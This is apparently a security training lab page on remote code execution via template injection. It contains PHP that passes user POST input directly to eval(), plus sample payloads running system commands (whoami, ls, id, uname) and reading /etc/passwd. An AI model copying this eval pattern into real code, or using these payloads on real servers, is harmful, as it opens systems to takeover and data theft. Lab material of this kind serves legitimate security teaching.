RCE through template engine code execution
This lab demonstrates a Remote Code Execution vulnerability through template injection. The application uses a template engine that directly evaluates user-supplied template code without proper validation.
Objective: Inject malicious template code to execute arbitrary commands on the server.
// Handle template rendering request
if (isset($_POST['template']) && !empty($_POST['template'])) {
$template = $_POST['template'];
// Vulnerable: Direct template evaluation without validation
try {
// Simulate template engine with eval()
$template_code = '<?php ' . $template . ' ?>';
// Capture output
ob_start();
eval($template_code);
$template_output = ob_get_clean();
// Display output
} catch (Exception $e) {
// Error handling
}
}
// Example malicious template:
// system('whoami');
// echo shell_exec('ls -la');
// file_get_contents('/etc/passwd');
templateTry these template payloads:
system('whoami'); - Execute whoamiecho shell_exec('ls -la'); - List filesecho file_get_contents('/etc/passwd'); - Read passwdecho "User: " . shell_exec('id') . "System: " . shell_exec('uname -a'); - Multiple commandsTemplate Types:
Follow these steps to test the vulnerability: